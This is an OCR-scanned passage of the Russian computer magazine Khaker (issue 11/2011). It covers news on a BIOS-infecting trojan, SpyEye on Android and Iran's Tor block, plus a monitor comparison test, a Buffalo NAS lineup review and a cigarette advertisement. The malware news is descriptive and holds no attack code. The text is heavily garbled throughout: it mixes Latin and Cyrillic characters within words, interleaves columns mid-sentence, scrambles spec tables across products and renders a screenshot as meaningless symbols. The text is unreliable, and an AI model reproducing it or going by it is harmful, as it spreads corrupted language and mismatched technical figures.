BIOS будетвызывать все имеющиеся PCI Expansion ROM, в том числе и MBR и перезаражает ее в случае необходимости. Следует отме­ BIOS вовсе не гарантируетзаражение

BIOS банально не хватило места для записи ново го мо дуля . П олучается, что если последетектирования и лечения Tгojan.Mebгomi система вновь оказывается инфицированной, то источником заражения, скорее всего,

выступает инфицированный

BIOS компьютера.

УГРОЗЫДЛЯ МОБИЛЬНЫХУСТРОЙСТВ ВСЕ МНОЖАТСЯ

39°/о ПРИЛОЖЕН ИЙ

НА БАЗЕ iOS И ANDROID НЕ ОБЕСПЕЧИВАЮТ

НЕОБХОДИМЫЙ УРОВЕНЬ

БЕЗОПАСНОСТИ, СЧИТАЮТ ЭКСПЕРТЫ

VIAFORENSICS ХАКЕР

11 /154/ 2011

013


MEGANEWS

INTELИ GOOGLE &УДУТТЕСНО СОТРУДНИЧАТЬ в целях оnтимизации nлатформы Androidдля микропроцессоров lntel.

SPYEYE ДОБРАЛСЯ ДО ANDROID

ИРАНЗАБЛОКИРОВАЛТОR

БАНКОВСКИЙ ТРОЯ Н ЧУВСТВУЕТ СЕБЯ ВОЛЬГОТНО И НА МОБИЛЬНЫХ

TOR В ТОТ ЖЕ ДЕНЬ ВЫПУСТИЛ ОБНОВЛЕНИЕ,

ПЛАТФОРМАХ

ЧТОБЫ ОБОЙТИЭТУБЛОКИРОВКУ

\l!.:Ь- Spy Еуе .... ""--,... .. rJoe---' -""' Pathtatlм f~t.Ь.rcoМrol,_.., [~

....,

• _ __ _ _ _ ..._ - ... ..... 1...... --..n,,,, __ ____ _______, ..,.,..,_uAo•_........ ...... __ ,..,,,_ _ .__,... ~., ,,,

-f_.,.J~_

2.-t..,.,.,.,~_

:.. ... ~аи ... -~· Ь.Ьt

-с.J.

::::;:~~1 ('!~0•.1.

~

·-~·

....... , ,,,_ __--""'_•-aol ..,.,.,_uo/N_._,_........-· 1 . . . . . , , , ,_ _ _ _ _ _ . . . , . .,.,..,-w.............. ~•• •lt- . ,...-aмto.-t..,._p/~1a/-O.~· .' ....... , ,_ __ _ •. ...

....... ,,,,_________ •"*'••• •11- .ou..noooto.-· sа.

щ

,..,. ,_ ~....;-.а..-1•

........... .,_.J....._._,..,. . •--.1._,..,,.__

•no, :/J _... . ,...-a~.ao.-to,,.,.. f-....JНJ~-•HI•at._......... _".,,.,..,~..~~-·

, ._"_,..._._... __• r · - -·••U.C•1 : .. ,,,_ __ _•--t••,.,.,,.__ r._.- • К. • oCI•1

~

r . _ , . -. , oauO•.l '

"loaчo :ll ----

....

•1-н

...-

• .....•

есной текущего года специалисты F-Secureyжe били

Поданным компании

четвергутром Иран добавил новое правило

тревогу, обнаружив атаку Man-in-the-MoЬile с уча­

Trusteer, малварь на базе Zeus и SруЕуе­

филырации в свой пограничный файрвол для того ,

стием модификации SpyEye. Тогда выяснилось , что малварь, созданная на основе известного банковскоготрояна,

на у чилась перехватывать SМS-сообщения с устройств,

чтобы блокировать трафик сети Тог. Благодаря

наиболее часто используемые бан­ ковскиетрояны. На нихприходится

72%

помощи многочисленны х друзей со всего света, создатели

сети быст ро определили способ блокировки и выпу с тили

работающих nодуправлением SymЬian. Д аль ш е-боль ш е. В

от 1.6 миллиона слу­

новую версию Тог, с помощью кото р ой его можно обойти. К

этом месяце исследовате ли компании Тгustеегобнаружили

чаев обнаружения и

счастью, пр облема была в ретранс ляторе: это означает, что

удаления вредонос­ ного программнаго

достаточно обновить ретрансля торы и бриджи, и многие де­

ния, но уже на Android-anпapaтax. Заражение реализовано

обеспечения, кра­

сяткитысячпользователейвИранесно вап олучатвозмож-

пр и митивным образом, почтитакже как в cлyчaecSymЬian:

дущего финансовую

н о с ть работать с Тог, не буду чи вынужденными полностью

троянецSрitmо, который перехватываеттекстовые сообще­

людям , чьи ко мпьютеры уже были инфицированы

SpyEye,

информацию .

менять программное обе с печение. << Как те х нически работал этот фильтр? Тог пытается сделать так , чтобы еготрафик

предлагалось установить на телефон фейковое ПО для работы с банковскими онлайн-сервисами . После этого SМS­

выглядел просто попыткой веб-браузера связаться с

с ообщения жертв , попавшихся на удочку хакеров, начинали

c e pвepoм, но при более внимательном рассмотрении можно

https-

пере х ватываться и отправляться на с айт, находящийся под

было у видеть некоторые отличия . В нашем случае это были

контролем злоумышленников. Эксперты Trusteeг пишут,

характеристики установленияза шифр ованно госоедин е ния

что изучили командный сервер, гд е хранятся похищенные

Тог ' а, в частности длительность срока д ействия сертифи­

данные, и обнаружили, что вредоносным пр иложением

ката для SSL-ceccии : мы изменяли срок действия сертифи­

пока инфицировано н езна читель но е количество людей . Н о

ката сессии каждые два часа, в то время как обычный срок

авторы троя на явно занимаются его развитием, и в будущем

действия сертификатов- год или больше . Для устране­

вполне могут доставить множество неудобета не только бан­

нияблокировкидостаточнобылопростоувеличитьсрок

кам, которые и с пользуютодноразовые ТАN-коды , но и таким

действия сертификатов , так чтотеперь наши сертификаты

с айтам , как Google и

имеютболее правдоподобный срок действия >>, -говорят

Facebook, которыетакже и с поль зу ют

смартфоны для ра с сылки одноразовы х па ролей .

создатели сети .

hтс:

BTOPHИK-ДEHbDDOS!

МО&ИЛЬНУЮ ОС ПЛАН И·

15%ПОСТОВСВИДЕО

ПИРАТСКОЕ ПО ВСТРЕ·

ДОЛЖНОСТЬДИРЕКТОРА

РУЕТ ПРИО&РЕСТИ НТС.

НА FACEBOOK- ЭТО

ЧАЕТСЯ В РОССИИ НА

ПОЗАЩИТЕ ПЕРСОНАЛЬ·

Почти

Вероятнее всего, выбор

LIKEJACKING. То есть

52% КОМПЬЮТЕРОВ. Для

НЫХДАННЫХ nоявилась

атакэа неделю nрихо­

нажал на видео-nоставил

сравнения:в США этот же

в

дится именно во вторник,

Like! неnонятно чему.

nокаэательравен36%,ав

займет Эр ин Ига н, ранее

сообщает «Лаборатория

Нигерии 81%.

работавший в комnании

Kacnepcкoro».

комnании nадет на разрабатываемую иНР.

webOS, Palm

Facebook. Этот nост

23% всех ОDоS­

юристом.

011,

ХАКЕР

11 / 154/20 11


SKYPE ОliЭАВЕЛСЯ СВОИМ МАГАЗИНОМ ПРИЛОЖЕНИЙ . Пока в Арр Diгectoгy доступно порядка 30 программ .

ГИБКИЙ РИДЕР OTWEXLER

EDIFIER R1200Т­

КОНЦЕПТЫНАКОНЕЦСТАНОВЯТСЯ

ТЕПЕРЬ В ЧЕРНОМ ЦВЕТЕ

РЕАЛЬНОСТЬЮ конце октября компания Еdifiегперевыпускает хорошо знакомуюпользователямакустическую

систему Edifieг

R1200T в новом обличии. Д анная

модель теперь будет представлена в черном цвете. Напоминаем, что Edi fieг

R1200T -малога баритная, ка­ [140 х 240 х 183 мм), которую

чественно исполненная система

ввидускромных размеров безтруда можно разместить прямо на столе возле монитора. Модель является неплохой альтер­ нативой пластиковым компьютерным колонкам, особенно еслиприходитсяэкономитьпространство . КорпусR1200Тиз­ готовлен из МДФ и по крыт декоративной пленкой. Передняя па н ель в свою очередь п окрыта синтетическим ма т ериалом,

который имитирует кожу, а лицевая панель защищена рам­

кой, на которую натянута акустическая тка нь. Р егулировка громкости и уровня баса вынесена на заднюю панель. С техническими характеристиками у R1200T всетоже более чем неплохо. Все динамики системы магнитноэкранирован­

ные. Диаметр СЧ/НЧ-динамика-106 мм, твиттера-72 мм; диапазон воспроизводимых системой частот колеблется от 52 Гц до

m

20000 Гц.

Выходная мощностьсистемы -2х8 Вт

а различных выставках вотуже несколько лет

Начатьвыпуск

RMS, а

можнонаблюдатьпрезентациигибкойэлектрон­

устройств с гибким

скромные га бариты, Edifieг R1200T звучиточень достойно,

ной бума г и, которая легким движением руки

давно. Была

свора чив ается в трубочку. Тем не менее, ни одного девай са, который можно было бы свернуть в трубочку, рынок пока

так не увидел:). Этуситуацию исправляет компания Wexleг со своей уникальной разработкой-электронной книгой

WEXLER .BOOK Flex ONE, выполненной на основе гибкого 6" экрана E-iпk с пластиковой подложкой. Благодаря новой технологииможнонебеспокоитьсязабезопасностьэкрана.

Новинка обладает противоударными свойствами, ее можно

экраном обещают электронная книга

Readius, которую анонсировали еще

в

201 О году, да так

и не выnустили.

Кроме этого, можно

потребляемая-25 Вт. Но главное- несмотря на свои

вчастности,даеточеньнеплохиенизкиечастоты . Словом,

неспроста вариация

R1200T с дизайном <<под дерево>> в про­

шлом году п олучила награду<<Лучшая покупка>> от журнала <<Железо>> в тесте акустических систем

2.0.

Розничная цена

новинкисоставляет2200рублей.

вспомнить и концепт сворачивающеrося

в трубочку ОLЕD­ дисплея от компании

Sony.

гнуть, ронять на п ол и даже носить в заднем карма н е джин­

сов! Основное отличие гибк о годиспл ея от ста ндартн ого экра­ нанаосновеэлектронныхчернилзаключаетсявтом,чтопри

его производстае вместо с т екля нной подложки используется полимерная. Н овыйдисплей включаеттончайшую стальную пластину с нанесенным на нее слоем электронных схем, кото­

рую с в ерху прикрывает пленка из «электронных чернил>>. Не­ смотря на все это, девайс выполнен в эргономичном корпусе.

Габариты-124х139х7,5 мм, масса-менее

200 г. WEX LER.BOOK Fl ex ОNЕоснащен встроенной памятью на 8 ГБ , которую можно расширить до 40 ГБ за счетвнешних карточек формата MicгoSD. Ридер п о ддер живаетсамые по­

пулярные форматы электронных книг [ Т Х Т 1PDF/ О ОС/ СНМ / НТМ / НТМL / EPUB / FB 2), изображений [JPG / JPEG / ВМР /G IF 1PNG) и аудио файлов [МРЗ). При интенсивном ч тении полногозарядааккумуляторахватаетнанескольконедель.

П оставки читалки н ачнутся уже в этом месяце. Рекомендо­

ванная розничная цена -

7.990 руб.

WINSTON XSTYLE ОТ WINSTON Wiпston представляет долгожданную нoвинкyWinston XStyle: сигареты более компактного формата, отличающиеся

XS и способствует нейтрализации запаха табачного дыма для окружающих. Winston XStyle LSS: новое измерение

особо утонченным вкусом. Инновационная технология

мягкости вкуса .

LSS' гармонично дополняет мягкость вкуса линии Wiпston

'LSS- меньше запаха табачного дыма.

~ МИНЗДРАВСОЦРАЗВИТИЯ РОССИИ ПРЕДУПРЕЖДАЕТ: КУРЕНИЕ ВРЕДИТ ВАШЕМУ ЗДОРОВЬЮ

W/


FERRUM

Сергей Плотни ков

...

С ПРИСТАВКОИ

SUPER Заявляем: монитор необходимо выбирать

СРАВНИТЕЛЬНОЕ ТЕСТИРОВАНИЕ МОНИТОРОВ

НА БАЗЕ IPS/MVA-MATPИЦ

е веришь? Давай посчитаем . Если

RGB- 24 бит. Именно поэтом у IРS-матрица вы­

учесть, что человек начинает <<об­

дает практически идеальный черный цвет. Также

щаться » с РС где-то в

данная технология позволяет получать высокие

10-12 лет, то в

оченьтщательно!Как

день он проводит перед дисплеем 3-5 часов.

углы обзора, высокую контрастность, цветовой

автомобиль или новую

Повзрослев, приходится п росиживать штаны

охват и цветопередачу ... Но за все это приходится

еще боль ш е - в районе 8-1 О часов в сутки лет

платить очень боль ш им временем отклика.

подружку. Хотя бы потому, что перед экраном сего

чудного устройства техноманьяк в среднем

проводитчетверть своей

жизни!

эдак 30 подряд !учеба, работа, отдых!. Уже бу­

Со временем, к слову, границы TN и IPS размы­

дучи на пенсии, техноманьяк со стажем уделяет

лись. Здесь и сейчас существуют как мониторы на

компьютеру 1-2 часа в день. В итоге получаем,

базе TFT TN с большими у глами , так и мониторы

что среднестатистический пользователь за

на базе IPS с быстрым откликом. Стандартов же­

свою жизнь проводит за монитором порядка

море. Но больше всего популярны на сегодняшний

140000 часов, 5834 дней или же 16 лет. Согласно

день H-IPS IHoгizoпtali , E-IPS IEпhaпcedl и P-IPS

информации Росстата, средняя продолжитель­

IPгofessioпall. Первый обеспечивает еще большую

ность жизни граждан нашей страны составляет

контрастность, а также поддерживаеттехнологию

68.84 года . В итоге и пол учается, что продвину­

Advaпced Тгuе

тый россиянин проводит за экраном монитора

ный белый цвет. Второй имеет большую апертуру

23.24% своей жизни ...

дляувеличениясветопроницаемости.Наконе~

Так что п овторим уже более уверенно: мони­ тор необходимо выбирать тщательно. Особенно

White, дающую более реалистич­

P-IPS обеспечивает 1.07 миллиарда цветов при 30-битной глубине цвета.

это касается людей с творческой натурой и

• Apple LED Cinema Display • ASUS PA246Q • Dell UltraSharp U2711

профессией. Дизайнерам , а также инженерам,

ЗОЛОТАЯ СЕРЕДИНА

постоянно работающим с графическими редак­

Технология MVA IMulti-domaiп Veгtical

торами и САО-программами, просто необхо­

Aligпmeпtl, разработанная компанией Fujitsu,

дим дисплей с большой диагональю, полной

является компромиссом между TN и IPS. Она

глубиной цвета, идеальной цветопередачей и

позволяет пол учить матрицу с большими

большим углом обзора . Естественно, мониторы

вертикальными и горизонтальными углами

на базе ТN-матриц не могут удовлетворить всех

обзора, глубиной цвета и, благодаря те х нологии

потребностей человечества. По зтому идеаль­

ускорения RCT, малым временем отклика. Но в

ным выбором гика - работяги станут устройства

сравнении с IPS замет на зависимость цветовог о

на базе технологий IPS ISFTI или же MVA.

баланса от угла зрения, а также исчезнове н ие деталей в тенях при п ер п ендикулярном взгляде.

• iiyama Prolite X2472HD-1

МЕДЛЕННЕЕ, ДОРОЖЕ , НО КРАСИВЕЕ

• LG IPS236V

Теперь по порядку. Технология IPS llп-Piaпe

няшнем тестировании все мониторы, кроме

Чуть забегая в п еред, скажем, что в сегод­

Switchiпgl или же SFТ ISupeг Fiпe TFТI была

одного, основаны на базе то й или иной разно­

• NEC MultiSync EA232WMi

разработана компаниями Hitachi и NEC !от­

видности IРS-матрицы. Поэтому единственная

• ViewSonic VP2365wb

дельно!. Несмотря на разные названия, метод

МVА-модель- iiyama Pгolite X2472HD-1 -

работы ЖК-матрицы был неизменен!. Второй же

априори участвует

вне конкурса.

фильтр всегда был расположен перпендикулярно

016

первому, а следовательно, свет через него не

МЕТОДИКАТЕСТИРОВАНИЯ

проходил . Кроме того, только эта технология

Со всевозможными технологиями ознакоми­

способна передавать полную глубину цвета

лись- пора переходить непосредственно к

ХАКЕР

11 /154/2011


С приставкой Supeг

тестированию! Пока экран монитора прогре­

Pixel

валея в течение получаса, мы изучали дизайн,

пытуемых на различные профили обновления

должны быть натянуты ровной, упругой струн­

функционал и эргономику девайса . Также уде­

картинки . Правда, к мониторам на базе IРS­

кой . Любое отклонение говорит о нарушении

лили внимание организации меню и наличию

матриц строго относиться не стоит: все-таки

цветопередачи . Второй параметр характе­

la

Peгsistence Analyzeг мы nроверили ис­

с тремя RGВ-линиями. В идеале все линии

главное качеству) предустановленных настроек

технология подразумевает наличие большого

ризуется площадью красного треугольника.

дисплеев . Для мониторов на базе IРS-матриц

времени отклика.

Чем больше площадь этой геометрической

важным дополнением, безусловно, является

фигуры- тем больше цветовой охват. Для

Наконец под занавес тестирования,

наличие подставки с несколькими степенями

вооружившись профессиональным колори­

сравнения приведен зеленый треугольник,

свободы, а также опции крепления

метром DataColoг SруdегЗ

а именно стандарт

VESA.

Монитор прогрелся. Первым делом при по­ мощи программы

TFTtest

мы изучили равномер­

Elite,

определялась

sRGB.

Мониторы на базе

цветопередача [под нулевым углом, под углом

IРS-матриц непременно должны иметь боль­

градусов в горизонтальной плоскости и

шую площадь цветового охвата . Мониторы на

45

60

ность подеветки вкупе с отклонением яркости

градусов- в вертикальной) и цветовой охват.

базе Р-IРS-матрицы должны отвечать еще и

по краям экрана . Далее nри помощи утилиты

Первый параметр характеризуется графиком

стандарту

Adobe RGB.

APPLE LED CINEMA DISPLAY. нешний вид дисплея

Apple

можно назвать классическим.

Яблочной компании только и остается, что заnатентовать со­ четание черного цвета передней панели с бело-серебристой

з адней крышкой корпуса монитора. Чтобы никому не вздумалось с копировать идею! Если рассматривать с эстетической точки зрения , то

равных

Apple LED Cinema Display

попросту нет. Собственно говоря, з а это

и любят продукцию Стива Джобса. Если же попробовать абстрагироваться от философии

Apple,

то мож­

но найти ряд недостатков дисплея. Во-первых, работать с яркой глян­

цевой поверхностью, да еще под аккомпанементтеплых августовских лучей солнца, не совсем удобно. Так и хочется е х идно подколоть << желез­ к у» : свет мой, зеркальце, скажи ... Во-вторы х , наличие единственного

порта вании

Mini DisplayPoгt накладывает особые ограничения при использо­ Apple LED Cinema Display с РС- придется искать графический

адаптер с соответствующим интерфейсом. Наконец, наличие всего трех USВ-розеток ставит героя эти х строк на одну из последних ступенек в табели о рангах под названием << функционал>>.

есмотря на то что диагональ монитора ASUS PA246Q всего 24 дюйма [есть в сегодняшнем тестировании и экземпляры

с 27-дюймовыми экранами), вместе с кронштейном крепле­ ния конструкция выглядит очень мощно. Если дисплей потребуется разместить на столе, то готовься расчистить под него дополнительное

пространство . Тем не менее, подставка выполнена идеально! В меру

жесткая, она не позволит ему сместиться ни на йоту. А при необходи­ мости ты можешь повернуть экран в любую сторону. Подставка обла­ даетсразучетырьмястепенямисвободы.Поэтомуподстраиватьсяпод монитор не придется: скорее, монитор будет подстраиваться под тебя.

Что касается функционала, то

ASUS PA246Q

оснащен всеми

современными видеопортами [за исключением, пожалуй, DisplayPoгt), а также тремя портами ридером на

7 типов

Mini USB и универсальным кард­

флешек. Расположено все <<хозяйство» на боко­

вой панели корпуса, что очень удобно. Матрица

ASUS PA246Q

соответствует стандарту

P-IPS. Следо­ 1.07 млрд

вательно, как мы уже выяснили раньше, обеспечивает цветов при 30-битной глубине цвета.

ХАКЕР

11 / 154/ 2011

017


FERRUM

DELL ULTRASHARP U2711 не ш не монитор

Oel l UltгaShaгp U2711

выгля д ит весьма бла­

горо д но . Он о г ромен и прекрасе н . Здесь нет т ой смазливо­ сти, которая п рисутствует, наприме р , у д ис п лея

Apple.

Но это

ничуть не отталкивает. А матовый кор п ус и экран позво л яют полно­ стью ско нц ентрироваться н а ра боте. Такой монитор просто обязан н аходи т ься на столе у начальника какого-нибудь конструкто р ско г о бюро или же руково д ите л я какой-нибуд ь т естовой лабора тории. За счет мощной п о д с т авки

Oe ll Ul tг aS h aг p U2711

обладае тт ремя

степенями свободы, что п озволяет п о д строить большой 27 -д юймо-

вый экран под свои нужды. К сожалению, перевернуть экран на 90

~

градусов не получится- подставка не позволяет.

Богат и функционал дисплея. На левой сторо н е корпуса экрана рас­

положена паро ч ка USВ- п ортов и универсаль н ый кард-ридер н а

8

запоми н ающих устройс т в . Е сли монитор буд е т находиться на сто л е, то дотя н у т ься до них н е состави т труд а. Более скрыт н о себя ве д ут видеоинтерфейсы и

OVI, 0 -S ub, HO MI,

OisplayPoгt и еще два U S'IЗ. П о

су т и, п еред н ами, наверное, сам ы й уни в е р сальный монитор с полным

<<фар ш ем».

IIYAMA PROLITE X2,72HD-1 ере д нами, как сказал бы светоч русского кинематог р афа, «свой среди чужих, чужой среди своих>>. Мони т ор

iiyama

Pгo l ite Х2472 НО -1 является представителем и гордым об­

ла д ателем VА-мат р и ц ы. А точнее,

MVA.

Имен н о поэтому мы решили

не оценивать зто устройство среди дру г их, ибо от лукавого. Но на­ верняка читатель заинтересуется д а нн ой моделью. Экран ус т анов л ен в пластиковую оправу. Согласно после д ним

веяниям моды, мы имеем дело с гл янцем. Смотрится великолепно д о пе р вых касаний пальчиками . Запасись тряпочкой! Устанав л ивае тся корпус на к р охотную подставочку. Из-за того что общий в ес д исплея не п ревышает ч етырех килограмм, держится кон­ струк ци я д оволь н о н адежно. Н о из-за небольша г а количества сте п е­

ней свобо д ы ! монитор можно вращать лишь вок р уг г оризонтальной оси ! возможностей по регул ировке положения эк р ана немно г о. Н аконец, расс т раивает фу н кцио н а л ь н ая составляющая мо н и т ора .

П р авда, ве нд оробещает в ближайшее вр емя выпусти т ь улучшенную мо д ель ВХ2472 НО с ул уч ш е нн ой п одс т а в кой. Помимо видеоин­ т е р фейсов

0-Sub, OVI и HOMI ,

на ко рп усе

iiyama

Pгol i te Х2472 НО -1

боль ш е н иче г о не т.

ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ Тиn матрицы : Диагональ, разрешение :

Углы обзора по горизонтали/вертикали : К оличество цветов : Контрастность : Время от к лика :

Габариты :

Apple LED Cinema Display

IPS 27"", 2560х1440 точек 178/178 градусов 16.7 млн 1000:1 12 мс

1/0:

490х650х201 мм Mini DisplayPoгt, 3х

Вес :

10.7 кг

018

USB 2.0

Dell UltгaShaгp U2711

ASUSPA246Q

IPS 24.1"", 1920х1200точек 178/178 градусов 1073.7 млн 1000:1

IPS 27", 2560х1440 точек 178/178 градусов 1073.7 млн 1000:1

6мс 559х381х235 мм 1х D-Sub, 1х DVI, 1х 2.0, кард-ридер 7.3 кг

6 мс 647х428х200 мм

HDMI,

1х DisplayPoгt, 3х

USB

1х D-Sub, 2х DVI, 2.0, кард - ридер 7.7 кг

HDMI,

1х DisplayPoгt, 5х

ХАКЕР

USB

11/154/2011


С приставкой Supeг

NEC MULTISYNC EA232WMI нешне монитор

выглядит очень

NEC MultiSync EA232WMi

строго. Здесь не найдешь особых закругленных форм корnу­ са и не nрищуришься от блика маркого, глянцевого корnуса.

Но зто не означает, что он плохо выглядит. Просто данная модель превосходно подойдет для строгого интерьера- того же рабочего кабинета. Очень удобная подставка п озволи т вращать дисплей как душе угодно . Неоспоримый плюс для дизайнера или инженера. А сбоку и сзади, помимо видеовыходов, есть сразу

5 портов USB.

Настройками меню достаточно легко управлять при помощи

своеобраз ного джойстика. Воспользоваться опциями

NEC MultiSyпc EA232WMi пришлось из-за того, что так называемый ЕСО Mode по ста-

~

я н но изменял уровень яркости эк рана. Работать с такой цветомузыкой было невозможно. Позтом у стоит использовать технологию в мо-

менты, когда не поль зуешьс я монитором. С другой стороны, почему бы просто не отключить дисплей или не заставить уйти ПК в спящий режим? С третьей стороны, проблемы экологии, затрагиваемые

NEC,

достойны уваже ния.

VIEWSONIC VP2365WB авершает сегодняшнее тестирование монитор от компании

ViewSoпic. Примечательно, что мы уже знакомились с этим

устройством год назад. К сожалению, картина осталась печальной: за столь продолжительный срок цена на IРS-матрицы изменилась не сильно.

Модель под скромным на званием

NEC MultiSync EA2 32WMi . Но

VP2365wb

внешне напоминает

никакого копирования здесь нет. Просто

для инженеров, художников, дизайнеров и архитекторов подобная конструкция, на наш взгляд, является оптимальной. Вот и дисплей от <<птичьеЙ>> компании обладает подставкой с четырьмя степенями

свободы . А потому расположить/повернуть экран на рабочем столе не составит труда.

К сожалению, для нас является загадкой, почему инженеры

ViewSonic не разместили имеющиеся порты USB на боковой панели. Все 4 слота расположены сзади: как следствие, к ним не очень удоб н о обращаться. Там же находятся видеоинтерфейсы: 0-Sub и DVI- набор, признаемся, спар танский. Для уде ржания всех прово­ до в в одном nучке на ножке подставки nредусмотрены специальные рамочки.

РАЗДАЕМ МЕДАЛЬКИ Лучшие nоказатели продемонстрировал

NEC MultiSync EA232WMi

ViewSonic VP2365wb

UltгaShaгp

U2711 . Даже

под углом

60

Dell

градусов nре­

тензий к картинке нет [на фоне остальных участ­

ников! . Вкуnе с богатым функцианалом дисnлея и

MVA 24", 1920х1080точек 178/178 градусов 16.7 млн 3000:1 8 мс

IPS 23", 1920х1080 точек 178/178 градусов 16.7 млн 1000:1 14 м с

570х420х179 мм

550х379х220 мм 1х mini 0-Sub, 1х 5х USB 2.0 7.5 кг

0-Sub,

3.6

OVI,

HOMI

кг

IPS 23", 1920х1080 точек 178/178 градусов 16.7 млн 1000:1

5 мс 548х434х250 мм

OVI,

1х OisplayPoгt,

1х 0-Sub, 6.8 кг

OVI,

огромной диагональю в нашей тестовой лаборато­ рии не за кралось ни единого сомнения касательно

nобедителя в номинации <<Выбор редакции>>. Если у тебя есть

30000

рублей, тебе необходим монитор на

базе IРS-матрицы, то почем у ты еще не в магазине?

Пр из << Л уч шая покуnка>> получил монитор 4х

USB 2.0

PA246Q . Пожалуй,

ASUS

идеальное решение для дизай­

нера и инженера, которому постоянно необходимо работать дома. :х:

ХАКЕР

11/154/2011

019


FERRUM

Алексей Шуваев

v

ЛИНЕИКА: BUFFALO Японская компания

Buffalo- один

из крупнейших мировых

производителей сетевых накопителей хранения данных. Этой осенью компания пришла на российский рынок, и нам стало интересно познакомиться с новым для России семейством

сетевых накопителей. Тем более что

Buffalo- компания

с традициями, а устройства, созданные в Японии , всегда елавились своим качеством .

LINKSTATION PRO од определенным ракурсом этот девай с своей формой на­ поминает игровую консоль от

Buffalo Интерфейс диска:

Microsoft. Правда , устройс тво

заметно меньше, а также наделено рядом талантов,

которые слож н о переоценить. К примеру, девайсможет хранить

1 х SATA-11

Поддерживаемая емкость:

до

1, 2, 3 Т б

3 терабайт информации, что даже по нынешним меркам очень

Интерфейсы: Etheгnet

достойно . Сетевой накопитель с гигабитным интерфейсом обе­

10/100/1000 Mbps, 1 х USB 2.0

спечит контентом все домашни е устройства, благо можно не только

Поддерживаемые nротоколы:

SMB/CIFS, AFP, FTP, НТТР, НТТРS IWebAccess], NTP

пользоваться расшаренными папками , но и подключаться к помощи медиаплееров, поддерживающих

Потребляемая мощность:

NAS при DLNA и UPnP. Однодиско­

вая модель практически бес ш умна и nотребляет минимум энергии,

17 Вт 1макс. 24 Вт 45 х 156 х 175 мм

а е ще может служить на раздаче торрентое и работать в качестве

Габариты: Вес: 1.1 кг

принт-сервера, если подключить принт ер к свободному USВ-порту.

LINKSTATION DUO азгоняй тоску и повышай надежность с двухди ско­

вым девайсом, который nозволяет поднять скорость передачи данных или удвоить надежность хра нимой

информации за счет зеркалирования дисков. Закинув в топку хранилища пару дисков, можно получить раздел емкостью до

6 Т б - зто го за глаза хва тит для хране ния как личного медиа­ архива, так и для размещения личных файлов и организации

рабочей инфраструктуры. Если ты поклонник девайсов с над­ кусанным яблоком, то оценишь поддержку

Apple TimeMachine

-можно хранить столько снэпшотов, сколько тебе потреб ует­

ся. При установке приложения

WebAccess на iPhone и Аndгоid­

коммуникаторы, можно получить доступ к хранимому контенту

практически из любой точки Земли, где есть связь.

020

Интерфейс диска : 2 х SATA-11 Объем : 2, 4, 6 Т б Поддерживаемые уровни RAID: О, 1 и Standaгd Интерфейсы : Etheгnet

10/100/1000 Mbps, 1 х USB 2.0 Поддерживаемые

протоколы: SMB/CIFS, AFP, FTP/FTPS, SFTP, НТТР, НТТРS IWebдccess], NTP, КегЬегоs Потребляемая мощность:

26 Вт Габариты: Вес: 2.3 кг

86 х 204 х 127 мм

ХАКЕР 11/154/2011

1


ЛИНЕЙКА: BUFFALO

LINKSTATION PRO DUO е рсия Рго

Duo является усовершенствованием Duo. Начнем с того , что девайс способен выдавать данные со скоростью до 74 М байт/с, то есть почти 600 М бит/с, что неплохо задействует гигабитный интер­ Liпkstatioп

Интерфейс диска :

2 х SATA-11

Объем : 2, 4, 6 ТБ nоддерживаемые уровни RAID: О, 1 и Standaгd Интерфейсы: Etheгnet

фейс и пригоди тся в реальной жизни, если тебе понадобится срочно сли ть огром н ую базу данных или десяток BDRip'oв.

10/100/1000 Mbps, 1 х USB 2.0

М аксимал ьным объемом данных в

nоддерживаемые

диться как душа п ожелает : сделать одну папку, разбить на

протоколы: SMB/CIFS, AFP, FTP, НТТР, HПPSIWebAc­ cessl, NTP, КегЬегоs nотребляемая мощность: 17

диски и ра здать каждому пользователю или вообще включить

девай с в домен и доверить управле н ие политиками безопас­ ности серверу. В любом случае, д евайс одинаково хорошо

124 Вт Мах Габариты : Вес: 1.7 кг

6 терабайт можно распоря­

будет работать и радовать тиши ной и низким энер г о п отребле­

86 х 204 х 127 мм

нием- до

24 Ватт.

LINKSTATION PRO QUAD отрать деньги сейчас на этот девай с, забей его четырьмя ди ска ми по

3 Тб и забудь на пяток лет о

фразе «не достаточно дискового пространства >>.

Просто представь , что в твоем распоряжении окажется терабайт, гигабитный интерфейс,

4 х SATA-11 Объем : 4, 8, 12 Т б nоддерживаемые уровни Интерфейс диска :

12

DLNA и UРпР-сервер,

RAID: О, 1, 5, 10 и JBOD

торрент-клиент, iTuпes-cepвep и что-нибудь-еще-что-так­

Интерфейсы: Et heгnet

нужно-пользователям. Компактный кубик предоставля е т

10/ 100/1000 Mbps, 2 х USB 2.0

доступ к файлам практически по любому файловому пр о­

nоддерживаемые

протоколы:

токолу, который может быть использован в наше время. Пр и

CIFS, AFP,

потребляемой мо щн ости, срав н имой с парой энергосбере га ю­ щи х ламп, он способен создать RАID-массив уровня О, и

AppleTalk, SMB/ NTP,

FТР, НТТР,

КегЬегоs Потребляемая мощность: Вт Габариты: 149 х 233 х 154 мм Вес : 5.5 кг

1, 5, 10

43

JBOD. Остается только подключить к сети и настроить через

wе Ь-интерфейс, а дальше уж качать- не пере качать.

LINKSTATION MINI почему бы не сделать скоростной и компактный NAS ?>>, п одумали инженеры из дисков форм-фактора Интерфейс диска :

2 х SATA-11

Объем: 1, 2 Тб nоддерживаемые уровни

RAID: О, 1, JBOD

Buffalo и создали накопитель на базе 2,5 дюйма . Этот сетевой н акопитель

чем-то напоминает тостер: маленький, красивый и иногда жужжит. Н о работает он настолько тихо, что ночью в комнате его можно и не

заметить, а все потому, что компактные диски позволили обойтись

Интерфейсы: Etheгnet

без дополнительной системы охлаждения. Зато это полноценный

10/100/1000 Mbps, 1 х USB 2.0

NAS с поддержкой всех нужных протоколов, сервером iTuпes, DLNA

nоддерживаемые

протоколы :АррlеТа l k,

и ВitТоггепt-клиентом. Управле ни е, как и у большинства устройств,

CIFS, AFP,

осуществляется чер ез пр ос той wеЬ-и нт ерфейс. П отребляет он

FТР, НТТР,

SMB/ LDAP

nотребляемая мощность:

17 Вт Габариты: Вес : 0.5 кг

82 х 40 х 135 мм

крайне мало, а весит е щ е меньше- всего п олкило, как зарядка от

какого-нибудь ноутбука. Ты може шь выбрать девайс с белым или черным корпусом и поместить его на самом видном месте- пусть все гадают, что это такое.

ХАКЕР

11/154/2011

021


FERRUM

Сергей Ме л ь ни к ов

ОБЗОР ВИБРОНАК ИДКИ Тр убка

15,

GAM ETRIX TRUE LIVE SENSE

прицел

120.

Бац, бац, и мимоl Что,

